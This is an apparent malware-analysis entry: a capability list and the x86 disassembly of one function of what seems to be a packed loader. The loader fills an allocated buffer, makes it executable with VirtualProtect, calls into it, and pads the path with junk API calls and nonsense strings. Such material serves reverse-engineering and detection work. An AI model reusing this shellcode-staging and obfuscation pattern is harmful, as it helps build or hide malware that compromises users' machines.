Function at 0x40b0e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file size
Get geographical location
Get hostname
Set current directory
Set file attributes
Set uefi variable

Disassembly:
push 0xffffffffffffffff
push 0x40b56b
mov eax, dword fs:[0]
push eax
mov eax, 0x105c
call fcn.00409b20
mov eax, dword [0x818030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x818030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov eax, dword [0x2ff801c]
cmp eax, 0x7c
jne 0x40b173
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor ebp, ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebp
lea edx, [esp + 0x70]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x2ff801c]
cmp eax, 0x2d
jne 0x40b175
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov eax, dword [0x2ff801c]
jmp 0x40b175
xor ebp, ebp
mov edi, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
xor esi, esi
cmp eax, 0x8cf
jne 0x40b1b4
push ebp
push ebp
call edi
push ebp
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x48]
push edx
lea eax, [esp + 0x44]
push eax
push ebp
lea ecx, [esp + 0x884]
push ecx
push ebp
call ebx
mov eax, dword [0x2ff801c]
cmp esi, 0x1c6
jne 0x40b1cb
mov eax, dword [0x819d74]
add eax, 0xa231
mov dword [0x2ff801c], eax
cmp eax, 0x141
jne 0x40b1e6
mov dword [0x81a8f8], 0xec58acac
mov dword [0x81a8fc], 0xffffffff
inc esi
cmp esi, 0xb9fa744
jl 0x40b183
mov ebx, dword [sym.imp.KERNEL32.dll_FindAtomW]
xor esi, esi
cmp esi, 0x562d05
jne 0x40b20b
mov edx, dword [0x818f58]
mov dword [0x2ff814c], edx
cmp eax, 0x3c
jne 0x40b21c
push str.vugopaboh
call ebx
mov eax, dword [0x2ff801c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b1f7
cmp eax, 0x110a
jne 0x40b35c
push ebp
mov dword [0x2ff8010], ebp
mov dword [0x2ff8014], ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x870]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.sunohoyanicakudodaliwetude
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea edx, [esp + 0x44]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebp
push ebp
call fcn.00401228
push ebp
push ebp
call fcn.00401228
push 0x816c34
push str._s__c
push 0x81a870
call fcn.004010fd
add esp, 0x1c
push 4
call fcn.004013a4
add esp, 4
cmp eax, ebp
je 0x40b2c9
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b2cb
xor eax, eax
mov dword [esp + 0x1c], eax
push ebp
push ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x38], ebp
call fcn.00401228
push 0x816c34
push 0x81a870
call fcn.00401268
mov eax, dword [esp + 0x38]
add esp, 0x10
cmp eax, ebp
je 0x40b33e
mov edi, dword [esp + 0x2c]
cmp eax, edi
je 0x40b335
lea esi, [eax + 0x18]
cmp dword [esi], 8
jb 0x40b318
mov edx, dword [esi - 0x14]
push edx
call fcn.0040132d
add esp, 4
xor eax, eax
mov dword [esi], 7
mov dword [esi - 4], ebp
mov word [esi - 0x14], ax
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40b307
mov eax, dword [esp + 0x28]
push eax
call fcn.0040132d
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
call fcn.0040132d
mov eax, dword [0x2ff801c]
add esp, 4
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
mov dword [0x2ff7e68], eax
cmp dword [0x2ff801c], ebp
jbe 0x40b3b9
mov edx, 0x19b0
jmp 0x40b380
mov eax, dword [0x2ff814c]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov al, byte [eax + ecx]
mov esi, dword [0x2ff7e68]
mov byte [esi + ecx], al
mov eax, dword [0x2ff801c]
cmp eax, 0x5ab
jne 0x40b3b4
mov dword [0x2ff7e6c], edx
inc ecx
cmp ecx, eax
jb 0x40b380
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2ff801c]
mov eax, dword [0x2ff7e68]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040b010
mov ecx, dword [0x2ff7e68]
xor eax, eax
jmp 0x40b3f0
cmp eax, 0xbd9cb
jne 0x40b3fd
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b3f0
mov edi, dword [esp + 0x4c]
mov dword [0x2ff7e68], ecx
xor esi, esi
lea ecx, [esp + 0x6c]
push ecx
call ebx
cmp esi, 0x1a01e
jle 0x40b428
cmp edi, 0xf5bed7
jne 0x40b431
inc esi
cmp esi, 0x1ece7a52
jl 0x40b411
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov ebp, 0x1e4165
mov ebx, 0x8e46a6f0
jmp 0x40b450
cmp dword [0x2ff801c], 0xcc1
jne 0x40b46c
push 0
push 0
push str.jewegokijodocikalebojasan
push str.rifotafadijewohosexewakahibohegapibobozigerojivocomipigafaxanukihulohipihilititey
call esi
cmp dword [0x2ff801c], 0x7c4
mov dword [0x2ff8018], ebx
jne 0x40b484
push 0
push 0
call edi
sub ebp, 1
jne 0x40b450
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401070
add esp, 0x1068
ret